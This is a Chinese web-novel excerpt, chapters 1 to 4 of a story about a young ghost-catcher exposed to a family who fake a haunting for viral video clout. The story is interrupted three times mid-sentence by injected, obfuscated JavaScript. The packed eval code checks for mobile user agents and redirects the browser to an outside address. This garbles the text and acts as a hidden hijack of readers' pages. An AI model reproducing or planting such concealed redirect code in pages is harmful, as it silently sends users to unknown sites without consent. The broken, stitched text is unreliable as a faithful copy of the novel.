《主业宿管,副业抓鬼》 1. 第1章 不到五点半,天就黑了,昨晚下过一场霜冻,气温愈发低,胡同里各家各户透着光,孙晓裹紧围巾抖抖索索往家赶,不远处在办白事,唢呐声断断续续传来,低骂一声“晦气”,扭头换了条路回家。 这两天怎么到处在办白事。 孙晓想起八十来岁的母亲,心下黯然,她摸到口袋里还热乎的烤地瓜,再不走快点就要凉了,于是加快了步子。 临到家门口才记起忘了买灯泡,客厅的灯坏了。 明天买吧。 推开门,木门长长吱了一声,孙晓朝门里喊了一声,“妈,我回来了。” “我给你买了烤红薯。” 一进门,发现老母亲没坐在常待的沙发上,“妈。”她慢悠悠踱到卧室,厨房,都没发现人。 “妈!” 三十多平的屋子来来回回找了几遍,无人回应,孙晓有些慌了,跑去拍邻居家的门, “张叔!张叔!”拍到第三下,张叔家刚还亮堂的屋里,一下子暗了,孙晓来不及细想,跑向下一家,“李婶,李婶在家吗?你看到我妈了吗?” 李婶家灯灭了。 下一家,再下一家,依旧如此。 整条巷子,一片黑暗。 “这..”孙晓呆呆立在黑暗里,不知所措。 “各位观众晚上好,今天是2月13号,星期四...” 不知哪里传来新闻联播声。 孙晓想起是自己家,每次出门前她都会给老母亲放电视,虽然她老年痴呆看不懂,但听个响总显得没那么冷清。 “妈..” 这条路她走了三十八年,不需要光也能回家。 孙晓抹黑回家,四方电视亮着荧荧白光,依旧不见母亲踪影,电视里,主持人字正腔圆播报新闻。 “今天下午五点十分左右,在益和天桥发生一起恶性杀人事件,目前犯罪嫌疑人已被逮捕,此次案件造成三人死亡,五人受伤,案件正在进一步侦办中..” 益和天桥不是自己买红薯的地方吗? 孙晓盯着电视,警车鸣笛声,骚动声,进进出出的医护人员,躺在担架上伤口打着马赛克的人,混乱中一个红薯从担架滚落,被后面的人踩得面目全非。 孙晓瞳孔一缩,手不由自主伸向口袋,理应装着红薯的口袋空空如也。 “滴滴滴滴滴滴” 脚下传来一连串滴水声,孙晓低头,看到一股深红水流。 是血。 “啊!啊!”孙晓本能想跑,可左腿传来剧痛促使她摔倒在地,紧接着,胸口,手臂,嘴角,源源不断涌出鲜血。 “救..命...” “救..命...” 孙晓匍匐爬向门口求救。 视线中,一双老式布鞋由远及近蹲在自己面前。 “救..命...” 孙晓慌乱求救,老人不语,目光里带着悲悯,手轻轻拍了拍自己的头。 “孙晓,该走了。” 走? 走去哪里? 这就是我家。 “你已经死了。” 我死了? 孙晓摇头否认,眼里流出血泪。 胡说,我要去找我妈。 她不再理会这奇怪的老头,爬向门口,这时,黑暗中有人说话,这声音莫名耳熟。 “开始了。” 几秒后 “真的..有用吗,姑娘?” 是张叔的声音! “哎呀,都这个时候还说这个,你不说我来!” 是李婶! 孙晓用尽全力支起身,眼前依旧一片黑暗。 “阿晓,我是李婶,你听得见吗?你放心,你妈我会帮忙照顾好,你..放心。阿晓,你是个好孩子,婶子从小看你长大,没想到你走在婶子前面,你..” “你哭什么!让孩子听见怎么放心走。” “我哭我的,碍着你什么事,我还不能哭了,这么好的一个孩子,说没就没了..” “孙晓,家里的灯泡换好了,你李婶每天都推你妈去晒太阳,你放心,只要有我们一口,就有你妈一口,你放心去吧孩子,放心吧,啊..” 孙晓在黑暗中泪流满面。 她想起来了,那天买完红薯回家路上,忽然身后传来一阵凄厉尖叫声,一回头发现一男人将一女生按倒,手上的匕首已然见血。 孙晓当过几年兵,来不及多想便冲了上去,没想到... 朦胧中,她看到一缕光,光亮里,已故的父亲朝自己伸出了手, “晓晓,走吗?” 孙晓在黑暗中轻轻点头。 “魂归,盖棺!” 唢呐声吹吹打打,这些天怎么都合不上的棺材,在众人灼灼目光中缓缓合上。 人群中,一老太端坐着,眼神懵懂仰头问:“我家晓晓回家了吗?” 李婶眼眶通红,望着远去的棺木, “回家了。” * 孟永还在享受众人的吹捧,这边拾冬已经在和雇主算钱。 “这和当初说好的价钱不一样啊!”西装笔挺的中年男人听完拾冬报价后,眉头一皱一副不想付钱的模样。 “之前我没搞定,所以你们请了我老板,效果你也看到了,自然价钱不一样。两万你要是不加,这棺材还能接着开。”拾冬拿捏了男人想赶紧把人下葬的心理,将二维码伸到男人面前。 男人想了想,一咬牙把钱转了过去。 拾冬收了款,埋头收拾东西,想赶紧离开,这两天唢呐声听多了,人都有些发晕。 走到门口,看到不远处停着的奔驰车,与破败的周遭显得格格不入,有争吵声断断续续传来。 “5万块!你疯了!给那两个骗子5万块。” “嚷什么,不赶紧把孙晓葬了,怎么拿到她那笔见义勇为的安葬费,还有之后的赔偿金,你想不想要了!” “你那没用的妹妹也就最后关头给你们家做了点好事了,事先申明,你那老娘我可不管。” “走吧。” 孟永也不知在身后站了多久,瞥了眼奔驰车。 两人走出巷子,唢呐声终于听不到了。拾冬摘了口罩,融入车水马龙的街道,感受和刚刚迥然不同的热乎人气。 “回铺子吃饭吗?”走了一小段后,孟永开口问拾冬。 “我不出饭钱。”拾冬手指飞快摁着计算器,先表明立场。 “穷鬼投胎。”孟永没好气推了把拾冬的头,过几秒又问,“知道你为什么搞不定孙晓吗?” “学艺不精呗。”拾冬敷衍回复。 “是你没有同理心,孙晓不是恶鬼...她那时不过是想你给她妈带两句话你都不肯..” “老板,钱我转你了啊。”拾冬不耐烦打断孟永的说教,把手机收回口袋。 “死丫头,我话还没说完!” “听了十几年了,我都会背了。” “……” 两人过天桥,拾冬一眼就注意到不远处堆着的各式鲜花,这场恶性无差别杀人事件已经过去两个月,还有人往这里送花送吃的。 增加环卫工人的工作量罢了。 拾冬路过时一个不注意踢翻了一杯奶茶,她摸了摸还是热的, 咸奶绿加黑糖珍珠。 诶~没喝过。 她抿了抿唇摸到吸管,正要一把戳下去,被人眼疾手快夺过, “你馋疯了,死人的东西也喝!”孟永揪着拾冬耳朵一脸气急败坏。 “什么死人的东西,说话这么难听,万一是给那5个活着的呢。” “回家!” 拾冬摸了摸揪红的耳朵,不情不愿下天桥去搭公交车。 天桥上,有束花无声倒地。 回去要一个多小时,闲来无事她在招聘软件上找工作,最近生意越来越差,得找点事情做。 正浏览着,有人在后面“靠”了一声。 “你看新闻了吗?就前两个月那个杀人的,说是有神经病,很有可能不判刑!” “不会吧,他说有神经病就有神经病吗?杀了那么多人,有两个还没脱离危险。” “不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578684|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,新闻是这么报道的。” “那个人家里是不是很有钱啊,伪造精神病史。” “没有,穷得叮当响。听说他们已经在卖房子赔受害人家属了。” “谁会买杀人犯的房子。” “是啊,哎,我上次看那个失去姐姐的妹妹在直播里哭得那么惨,犯罪的却能无罪释放,这世界好不公平啊。” “是啊,听说今晚会有一个关于她的访谈,到时一起去看看。” “好啊。” 公交车光线太暗,拾冬关了手机,靠着椅背闭目养神。 * 孟永在闹市菜场开了家纸扎铺子,前厅是店,后面一爿是他住的地儿,没生意的时候,他要不在店门口的摇椅上抽旱烟,要不就在店后扎纸扎。 现在很多丧葬店为了省事用上了机器,也有直接向专门的门店进货,只有孟永,篾刀不离身,地上到处都是竹屑,每个纸扎都是他一刀刀破开竹子编织而成,以至于大家一提到纸扎店,最先想到的都是街东角的孟永纸扎。 拾冬在这住了十几年,成年后才搬走,她熟门熟路躺在门口的摇椅上,又打开取暖的小太阳,长长舒了口气。正迷迷糊糊打盹时,怀里掉下来个什么东西,一睁眼,是杯奶茶。 “老板,我不爱喝这个味道。”拾冬看了眼奶茶标签吐槽道。 “扔了喂狗!”买完菜回来的孟永骂骂咧咧。 拾冬淡定插上吸管。 晚饭做的肉酱面,吃到一半拾冬想起什么,拿过手机点开当前热度最高的直播。 对话幸存者。 “当时我们正要去天桥对面的公司应聘,我姐那天正好有空,就陪我一起去面试,没想到碰到这样的事。” 画面里,女孩脸色苍白,脖间的疤痕格外扎眼。 “你说你姐是为了保护你才遇害的吗?” 女孩一听,眼泪瞬间流了下来,哭着点头:“那个人拿刀冲过来,我姐就一把推开了我,我当时慌了,不知道怎么办,我姐要我快走,可那是我姐,我怎么能走..” 弹幕里,大家纷纷感叹姐妹情深。 “后来他冲过来划了我一刀,又想接着下手的时候,被好心人救了。” 那个好心人,就是身中5刀的孙晓。 除了死亡的三人,她是最先出院,受伤最轻的。 “你有什么话说吗?” 女孩哭得已经抬不起头,柔顺如瀑的头发垂在两侧,悲怆的哭声断断续续, “我不知道该说什么,我这条命是我姐,是那个好心人救下来的,我今后会带着她们的善意好好活着,我一定会的,请大家监督。” 弹幕里的好话快要淹了眼睛,拾冬移开视线,指了指屏幕里的人,“老板,你看着假不假?” 孟永剜了她一眼,埋头吃饭,“别多管闲事,什么假不假,你看事物积极一点。” “我哪里不积极了,孙晓这生意可是我上门找来的,你要不把刚刚的钱转还给我。” 孟永嘴一抹,敦敦教诲,“说到孙晓,我有几句话要说..” “别别别,我吃饱了,先走了。”拾冬三下两下扒干净碗,拿过喝一半的奶茶跑出了门。 “死丫头,洗碗!” 拾冬已经跳出了门。 菜场这会儿已经收摊了,天又冷,人影伶仃,拾冬捧着奶茶慢悠悠走回家。 这钱,真是不好赚啊。 拾冬算了算卡里的余额,望着远处的高楼大厦长叹了口气。 * 楼道的灯还是没修好。 六七十年代的筒子楼,谁家咳嗽一声都能听到的逼仄。 拾冬打开手电筒上楼,她住在三楼的最后一间,过道里随意堆放着各户人家的鞋架,快递空盒子,堆了几天都不扔的垃圾,排风扇吹出来的油烟正对着电线杆上忘记收的衣服。 拾冬摸出口袋的钥匙打开房门。 “啪嗒” 灯一亮起,她收到孟永发来的两条短信, “电视上那人联系我了,明早八点。” 嘿,来活了。 2. 第 2 章 “我去!” 昨晚睡太晚,拾冬一觉睡到11点,点开手机,一溜烟未接来电。 正要回过去那边已经打过来了,拾冬都做好被骂的准备了,结果那头一开口就说, “收拾一下,你今天去向心弦家住一晚。” “啊?” * “嘀。” 这个点算是下班小高峰,拾冬挤进公交车里,周围人都在低头玩手机,她觉得无聊点开社交APP,无意中刷到一个名为心弦-213幸存者ID的帖子,粉丝累计已有20万,点进去写着都是和姐姐的相处日常,还有她去慰问孙晓妈妈的视频,每个帖子的点赞人数都超5万。 她点了不感兴趣,把手机放回兜里又接着发呆。 来之前孟永已经交待过了,死者向云黛,是向家人收养的女儿,据向家人描述的情况大概和孙晓差不多,放心不下家人,所以迟迟不肯投胎。 “收养的女儿啊,确定是舍不得吗?”拾冬真诚发问。 “你别管那么多,照我的法子去做,别一上来就动手,听到没,孙晓差点被你逼成恶鬼。” “为什么要住她家?”拾冬表示不理解。 “她姐不像孙晓,有一个固定时间出现,所以雇主为了稳妥,要求住家。” “那我算是干上住家保姆了,少走十几年弯路,话说你怎么不去?” “他家那么大一个闺女,我不去!” 老古董。 “那报酬你得多算我点。” “我能少你的钱,赶紧起床收拾,我说你晚上九点会到,地址等会发你手机上。” 天馨花园9-501。 拾冬在保安亭写下伪造的访客信息,不过看保安那闲散样子,正确与否问题都不大。 路过一丛丛早春的山茶花绕了个弯,她到达了9栋,出电梯门时正好九点,分秒不差。 一梯两户,501在右边,拾冬径直走过去按响门铃。 门铃响了几声,里头才开门。 来人看上去50多岁,化着淡妆,披着羊毛披肩,脖颈绕了两圈长珍珠项链,应该是向心弦妈妈。女人上下打量了拾冬几眼,眼神警惕。 “你找谁?” “我是孟师傅的徒弟。”拾冬言简意赅自我介绍。 “你...”本来是个问号的语气,但立马察觉不礼貌,音调又降下去绕了个弯,显得更加不伦不类,女人迟疑了三四秒,最终还是侧身让拾冬进来了。 原以为是个普通的住宅楼,进来才发现是个快200平的复式楼。看装修,应该有些年头了,不过早年能拥有这么大的房子,看来家境殷实,和孙晓那家的情况不同。 “你坐。” 女人招呼拾冬坐下,隔着茶杯偷偷打量坐在对面看起来和自己女儿差不多大的女孩,这和上午那个看上去就很靠谱的老头完全不一样,上午说会要他徒弟过来,自己印象中起码也应该是个三十多岁的男人才靠谱,这一个小姑娘,顶什么用。 秦芬有种被骗了的感觉。 不过,她到底在看什么? 秦芬看着对面人的眼睛一直在到处看,就好像有什么东西似的。 “阿姨,你女儿呢?” 一直四处看的人突然看过来,她审视的眼神来不及收,两人尴尬对视了几秒。 “她有个节目要参加,她爸去接她还没回来。” 秦芬喝了口茶,自从出了这事,全家都格外警惕。 “哦,那你先带我看看大女儿的房间吧。”拾冬说完站起来,等着秦芬带路。 “..好。”秦芬犹豫几秒放下手里的茶杯,把她带去大女儿的房间,“这间就是。” 房间一楼朝南,大概十来平,一开门正对着一张一米五的床,旁边放着书桌和一张看上去就很硬的木头椅,除了衣柜,没有其他家具,是个空房间,一点属于向云黛的物品都没有。 也许是察觉到拾冬打量的视线,秦芬解释道:“小云她一直寄宿,高考完她就去出去打工了,所以东西比较少。” 拾冬不语,只点了点头。 这时门口传来开门声,秦芬看似顺手地把门关上,“心弦回来了。” 拾冬跟着走回客厅和刚进门的两人打了个照面。 两父女眉眼相似,向心弦看着比视频更瘦些,双颊凹陷,没遗传到秦芬的大眼睛,身后爸爸一米七左右,微胖。 “冷不冷,饿不饿,汤还在炉子上,想喝的话还是热的。”秦芬一见女儿就嘘寒问暖起来,完全忽视了刚回家两人面对陌生人的疑惑。 “我没事,妈,这位是谁啊?”向心弦指了指拾冬,打量的视线像X光从头扫到尾。 “我忘了,是...”秦芬凑近女儿含糊不清解释。 向心弦听完很友好的笑了,主动打起招呼,“姐姐,你好。” 拾冬淡淡点了个头 “我们先上楼换身衣服顺便涂点祛疤的药膏,等会儿说,走吧。”秦芬说完领着女儿上楼,走到一半对着楼下说,“老公,你饿了自己盛汤喝。” “好,你去吧。”向华旭说完朝厨房走去,出来时端了两个碗放在餐桌上,“没想到孟师傅的徒弟这么年轻,你叫什么名字。” “红领巾。” 向华旭噎了一下,随即笑了起来,“小姑娘还挺幽默,饿了吧,要不要喝碗汤?我太太炖汤的手艺还是很不错的。” 拾冬婉拒:“不了,向先生,我不爱喝汤。” 向华旭不再勉强,坐在餐桌边喝汤边刷短视频,听的多数是国家时事,时不时啧啧两声。 过了好一会儿,向心弦换好衣服下楼,脖间还包着纱布。 她伸手拿过餐桌旁的汤拿起要喝,被向华旭阻止,“这汤凉了,我给你换一碗。” “好,谢谢爸。”向心弦转向在沙发上玩手机的拾冬,走过去坐到对面,开口就是夸人皮肤好,问用的是什么牌子的护肤品。 这好像是多数人套近乎的一种手段,要不夸皮肤,要不夸衣品,要不就是夸气色好。 “谢谢,我天生的。”拾冬冷淡的态度让这两个月接连受到追捧的向心弦有些尴尬,她假笑着接过向华旭端来的汤,喝了一口。 拾冬无聊浏览了几个帖子后,收回手机,秉着今晚能结束今晚就回家的心态,直奔主题, “想必家里有个陌生人你们也不舒服,我们抓紧时间吧。” “…好,我们先跟你说一下吧。” 该说的孟老头不都说了吗,这还有什么好说的。 拾冬有些不理解。 四人坐在沙发上,向心弦主动说起这几天家里发生的怪事,拾冬听着和孟永说的基本一致,说是家里有怪声,有东西会动。 “一定是姐姐知道我们舍不得她才不愿走,姐姐,是不是这样?” 向心弦求证似的看向拾冬,想要一个肯定回复。 “既然那么舍不得你姐,为什么找我来?干脆让她留下来,你们一家四口过好比什么都强。”拾冬冲向心弦真诚建议。 向心弦露出和她爸一样噎住的表情。 秦芬看到女儿委屈的模样,面露不悦,“你这小姑娘怎么说话的。” “这不你女儿说舍不得她姐吗?”拾冬一脸无辜。 “好了好了,大家少说两句。”向华旭出来打圆场,看向拾冬,“这件事扰得心弦这些天寝食难安,你看看有没有什么好法子解决掉?” 解决掉。 说得就像处理垃圾一样。 “这个怪声一般会什么时候,在哪里出现?” “是我最先听到的,我下楼喝水,听到姐姐房间有声音,我以为是窗户没关好,就想去看看,结果一开门,看到有个人影在窗户那,我…”不知道是害怕还是什么,向心弦吞了吞唾沫,抓了抓头发,确保蓬松的发型没乱后,才接着说,“我看到我姐,她在哭。” 拾冬听完,往大女儿的房间方向看了一眼。 “后来连续几天,我都听到了我姐的哭声,我想为她做点什么,可是我什么都做不了,就像那天一样,我什么都做不了。” 向心弦说着说着就哭了,秦芬心疼地把女儿抱进怀里,“小云她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦芬想了想,长叹了口气,“我去洗个手,要心弦抓紧点吧。” 向华旭在三人小群里发信息。 向心弦一回到房间,就点开自己的社交账号看收益。 今日收益:5381.9 一天收益五千三,如果是一个月的话,向心弦看着计算出来的数字,呼吸都拉长了。 她心情极好地回完群里的信息后,看了看自己的账号,就上节目这几个小时,她的粉丝又涨了两千多,私信也未读几百条, 她搜了搜和自己相关的词条,随意点开一个, “明明是和平时一样的出行,为什么回来的只有我一个。” 配上哀伤的音乐,真是闻者落泪见者伤心。 向心弦拿出另一个手机点了个赞。 她退出APP,坐在书桌前迫不及待打开电脑,鼠标点了几下后,屏幕上出现了一个人,随后她拿出一个遥控器按了几下,坐在楼下沙发上的人从包里掏出一个罗盘模样的东西,站了起来。 “哈哈哈哈哈哈,傻逼,装得还挺像。”向心弦一边按着手里的遥控器一边看着走来走去的屏幕里的人,看她一会进厨房,一会进厕所,笑容中带着鄙夷,“让她钻桌子吧。” 她按了按遥控器,凑近屏幕想欣赏那人的窘态模样,却见本该钻桌子的人,突然神色一变,快步进了姐姐房间,而与此同时,电脑画面突然闪动,向心弦咽了咽口水,手指快速点了几下,企图让屏幕稳定。 “呼。” 画面稳定后,向心弦紧绷的神经顿时松了,她靠在舒适的电竞椅后舒服伸了个懒腰,正要缩回手时,她惊恐发现戴铜钱的手收不回了。 向心弦瞳孔急骤收缩,抬头望去。 拾冬跟着罗盘指引方向进了向云黛房间,直奔衣柜,一开柜门,拾冬望着衣柜里的人,头顶出三个问号, 这不俊雄吗? 这时, “啊!” 二楼传来尖锐的尖叫声。 3. 第 3 章 拾冬跑到二楼时,秦芬等人已经抢先一步进了向心弦房间,围着向心弦问长问短。 “怎么了?”拾冬走向坐在床边魂不守舍的向心弦。 “她…” 秦芬正要说话,被向心弦制止,“没什么,我不小心摔了一跤。” 秦芬想说什么,但摆明了向心弦不让。 拾冬环顾了一圈向心弦的房间,卧室比楼下那间大了不止一倍,占了大半边墙的衣柜,宽大舒适的电竞椅,超大的电脑显示屏,梳妆台上各类的护肤品,化妆品,一米八的床上摆了各种玩偶。 她想起之前瞥到的帖子里,向心弦说他们家对向云黛视如己出。 “好,那我先下去了。” 拾冬不自讨没趣,转身下楼,人一走,秦芬连忙问刚刚发生了什么。 但向心弦坚决说没事把父母赶出了门,她双脚虚浮爬上床,全身埋进被子里,久久没有翻身。 拾冬下楼发现俊雄已经不见了,她也不纠结,毕竟哪个地方没有个孤魂野鬼。 她坐在沙发想刚刚向心弦那声尖叫。 向心弦一定是看到了什么,可是她不愿说。 会是谁呢? 第二天一早秦芬就下来说不需要拾冬了,让她回去,钱会打给孟永。在沙发上睡了一晚的拾冬立马收拾东西就走,临走前想起向心弦的手链还没还,于是秦芬上楼问,没一会儿空手下来说:“心弦说喜欢,昨晚你说500是吧,我们买了。” 拾冬爽快亮出自己的二维码,收到转账一边点收款一边说:“那个东西不是饰品,自己小心点。” “知道了。” 拾冬不再多言,离开了向家。 刚上公交车就接到孟永的电话。 “怎么样,解决了吗?” 拾冬一时竟不知如何回答,昨晚向心弦尖叫完后,一直到天亮什么都没发生。 “你是不是又搞砸了。”孟永见拾冬不说话,声音立马高了一度。 “没有。”拾冬靠着车窗,闭目养神,“我感觉他们家不像是来找我解决问题的,更像是…” 拾冬一时找不到合适的形容词。 “是什么?” “嗯…”拾冬一晚没睡捋不清头绪,索性放弃,“我下午过来跟你说,先挂了,我回去睡一觉,给我留饭,我要吃蛋炒饭,加根肠。” “吃个…” 拾冬赶在孟永骂人前把电话挂了。 差点坐过站的拾冬在回家路上买了早饭,刚到家门口正要开门,旁边伸出一只干枯的手猛得握住自己手腕。 “你干嘛?”拾冬蹙眉望向房东老太。 “你房间不干净。”老太太一手捻着佛珠,表情神神叨叨。 “我没乱扔垃圾。”拾冬别开老太的手,不想和她继续话题。 “你也不干净。”房东老太眼神带着下一秒就要冲她泼狗血凶狠。 “眼睛这么好使,隔空验鬼,怎么看不到跟在你后面的那个?”拾冬满意看到老太惊恐转头,迅速进门上锁。 “你赶紧搬走,搬走!你不吉利,滚出我的房子!”老太发现自己被耍,在门外砰砰砸了好几分钟门才骂骂咧咧地离开。 拾冬在厨房把打碎的盘子倒进垃圾桶,关上房门补觉。 * 向心弦从早上起来就一直在房间,门口妈妈问了好几次吃不吃早饭,她置若罔闻,嗒嗒的鼠标声一直在房间响起。 向心弦从小就爱好恐怖片,不管多恐怖的电影,她照样能灯一关窗帘一拉,面不改色地看完,大学时同寝的室友问她不怕吗,她淡淡回复“都是假的,有什么怕的。” 什么鬼啊神啊,她压根不信,清明祭祖她都觉得是浪费时间。 这世上根本没有鬼。 213发生的那天,她刚被一家传媒拒绝,理由很委婉,说她形象不太符合公司的发展方向,她一下就听出对方嫌她不够漂亮的潜台词,没想到回去路上遇到了神经病。 事故发生后,由于她受伤最轻,媒体争相采访,她一下子获得了大众流量,原本只有十几个粉丝的账号没几天就多了十万粉,并不断有传媒公司找上门,其中就包括之前拒绝她的那家。 向心弦谁都没有回复,流量是她自己赚的,凭什么便宜给别人。 她去孙晓家,写她和姐姐的过去,网友喜欢什么,她就打造什么,可渐渐的,有人说她炒作,流量也有所下滑。 她知道,流量红利来得快去的也快,但她不愿放弃,这时,她无意中刷到一个帖子。 --你相信灵魂吗,我和死去奶奶进行了灵魂对话。 视频里博主是个新账号,一个粉丝都没有,发帖也纯属偶然,视频里她说通过民间走阴和死去的奶奶对话了,视频制作得很粗糙,但诡异的情节处理得温情脉脉,当时这个视频小范围爆了一会儿,不过博主本人没粉丝基础,视频没几天就沉下去了。 要是以往,向心弦绝对会点举报,但现在,她想的是,自己如果也发的话… 现在不少年轻人喜欢猎奇,那她何不利用这个机会做个爆款视频呢。 向华旭曾经开过公司,后来经营不善倒闭了,一直到现在还欠着外债,被限制消费。秦芬往年当惯了富太太,也拉不下面子去上班,日子过得捉襟见肘,又死要面子,看似住着200平的复式楼,实际还贷款都吃力。 向心弦不知道见过多少次父母为了钱争吵,而自从出了这事,光平台打赏都赚了不少钱。 她不可能放弃走自媒体这条路,她要接着赚钱。 向心弦跟家里人说了这个想法,父母立马同意了自己的提议。 三人坐在电脑面前逐帧分析那个视频,定好方案后,问题出在了怎么去找扮演走阴的人。 三人一开始的想法是找个亲戚假扮,但这些年因为自家欠债,和亲戚都没什么来往,即使同意,万一日后捅漏出去,风险太大。 巧就巧在,她去祭拜孙晓的那天,无意中听到孙晓的街坊邻居在议论孙晓不愿投胎,他们正要去找走阴人,她也跟着要到了电话号码。 她才不相信这世上有人会抓鬼,不过为了视频更真实,她确实需要这么一个角色。 等家里装好了监控,一家人又对了好几遍剧本后,他们终于拨通了从孙晓亲戚那得到的电话号码。 可是… 向心弦烦躁地摔了手里的鼠标。 那女的到底为什么去她房间! 自己在家里装了几个网上买的整蛊道具,目的就是让这个所谓的走阴人有模有样验一下,让视频真实,可是,向云黛房间没有… 向心弦抚上戴着铜钱的手, 昨晚真的是她吗… “不可能!”向心弦大声否定自己心里的猜测,“这世上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578686|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能有鬼,我不信!” 我一定会做一个爆款出来! 她看着剪到一半的视频咬牙继续。 当天晚上,她将剪辑好的视频反复观看了好几遍后,抖着手指按下了发送键。 * “我和姐姐最后的告别——如果科学解释不了,那就交给爱吧。” 拾冬坐在纸扎铺的躺椅上,声情并茂念出这几天爆火的视频标题,念到最后忍不住气笑了。 那天想不出的违和感在如今终于有了解释,向家人利用她做了这么一场戏,只为了拍这个视频。 “还气不过呢?这不给你脸打码了吗?”孟永买菜回来看到拾冬又在看视频,不痛不痒安慰起来。 “我是不是还要谢谢她?”得知自己被耍的拾冬嗤之以鼻。 “这件事就这么过去了,你管她是拍视频还是真有鬼,反正她也给我们钱了,你别节外生枝。” 向家人像是怕他们多嘴,在原本敲定的金额上多给了五千,话里话外都是要他们闭嘴。 拾冬关了视频,望着走来走去的人没有回答。 此时,午间新闻刚刚开始, “二月十三日,本市发生的恶性杀人事件,明天将正式开庭审理,下面是关于本案的报道...” 画面一转,出现一位女律师,面对镜头从容不迫,口齿清晰回答记者的提问, “我这边不方便透露太多,但我方当事人确实患有精神疾病,我已经拿到了精神鉴定报告。” “这能证明案发时当事人处于发病状态吗?听说没人接这个案子,为什么你接了呢?你知道你在为杀人犯辩护吗?你有没有良心?” “这孙子不会无罪释放吧。”孟永望着电视里被一众记者围堵的女律师啐了一口,“这律师怎么什么钱都赚。” “大家面对精神病的时候都在说,既然有精神病为什么还要出门,为什么不让他住精神病医院,但在说这些话之前,我们何不先了解一下被害人。” “你了解吗?” “我正在了解。” 拾冬转头看向电视里的女律师。 这时,手里的手机震了一下。 是她加的兼职群。 “有人要兼职吗?明天老师要求去法院旁听,我有事去不了,帮忙代签到,100块,就签个到,先到先得。” 苍蝇腿也是肉,拾冬立马在群里发了个1。 紧接着,她给向心弦那条视频点了举报。 * 第二天拾冬按照规定时间到了,结果对面那人记错了开庭时间。 “那100不用退了,劳烦你大老远过去,明天我自己去,抱歉了。” 大学生说话就是有素质。 白得100块,拾冬从三楼慢悠悠下去,走到一楼时,听到外面传来一声“来了” 什么来了? 拾冬从窗口探出头,蹲在大门口的人像蚂蚁找到食物般,成群结队朝不远处开来警车涌去,同时举起挂在脖子上的相机咔咔拍照,拾冬想起刚刚进法院时看到213案审理现场的牌子,猜测应该是凶手来了。 不一会儿,戴着手铐的凶手下车,胡子拉碴,面对记者的长枪短炮眼神惊恐,一直企图逃跑,可身边两个警察押着,他无处可逃。 嗯? 拾冬在人群中看到了那晚在向家衣柜里的俊雄。 4. 第 4 章 “我方当事人在事发当时,出现严重幻听幻觉,行凶时,完全丧失自主判断能力。事发后,他在家人的陪同下主动投案自首,根据《刑法》第十八条,精神病人在不能辨认或者不能控制自己行为的时候造成危害结果,经法定程序鉴定确认的,不负刑事责任。这是当事人的医学鉴定报告。” 丁照呈上鉴定报告,直视着法官, “当事人患病十多年,从未出现过伤人情况,并且,大家可以看看当事人的手腕,只要看护人不在家,当事人会主动戴上锁链,发病时用力撞墙,扯手等事常有发生,手腕经常伤痕累累,这点,街坊邻居可以证明。” 在场不少人伸长脖子想看看犯人手上的伤痕。 拾冬没挤进去,就在门口看起了直播,镜头给了被告席上人手腕一个特写,一圈深色的疤痕,还有新的伤口,看来在狱里受了点苦。 “他是你什么人?”拾冬问坐在不远处一动不动的俊雄。 “哥…哥”俊雄有些怕拾冬,惊恐的表情看上去真和视频里的人有几分相似。 “他有一个这么小的弟弟?”视频刚扫过犯人父母,一头白头格外扎眼,但拾冬立马反应过来,“你一直没投胎?” 俊雄点头。 “为什么?” “不知道。” 不知道是什么回答。 拾冬把视线转回手机,镜头给到被告席,拾冬这才看到他的名字。 陈青。 “你叫什么?” 俊雄不吱声,拾冬了然,鬼忌讳被知道真名。 “那我就叫你俊雄了。”拾冬擅自决定,“你那晚为什么在向云黛房间?你认识她?” 俊雄很想走,又忌惮她,空洞的眼珠转来转去,最后憋出两个字,“坏人。” “谁是坏人,向云黛?” 没等到俊雄的回答,倒是原本音调平稳的手机突然传出一阵凄厉尖叫声,她急忙低头,镜头里的陈青双目瞪圆,在两名警官的钳制下不停挣扎,眼睛死死盯着前方,现场人群骚动,在陈青的怒吼声中议论纷纷。 因为陈青突然发狂,导致审理无法进行,法官决定暂时休庭,隔日再审。 陈青坐上警车消失在众人视线,俊雄也跟哥哥走了。 拾冬坐在台阶上,左思右想,总觉得哪里不对劲。 为什么俊雄会出现在向云黛的房间,为什么俊雄说向云黛是坏人。 俊雄是陈青的弟弟,陈青是这次事件的凶手,向云黛,向心弦是这次事件的受害者,这其中会不会有什么关联? 聚集在法院的人陆陆续续离开,拾冬意外看到了向心弦,举着自拍杆晃来晃去。 还是很生气。 拾冬原本是事不关己高高挂起的人,但向心弦这波操作算是惹到她了。 “我这人啊,天生小气,对不起咯。” 拾冬低头找到那个被解封的帖子,点了举报。 丁照接受完采访,在一众记者鄙夷的目光下走出法院,刚到大门口没几步,迎面走来一位女人,扎着马尾,露出光洁额头,一副气血饱满的模样,在自己跟前停下, “丁律师,我们能聊聊吗?” * “你刚说的陈青案有蹊跷是什么意思?” 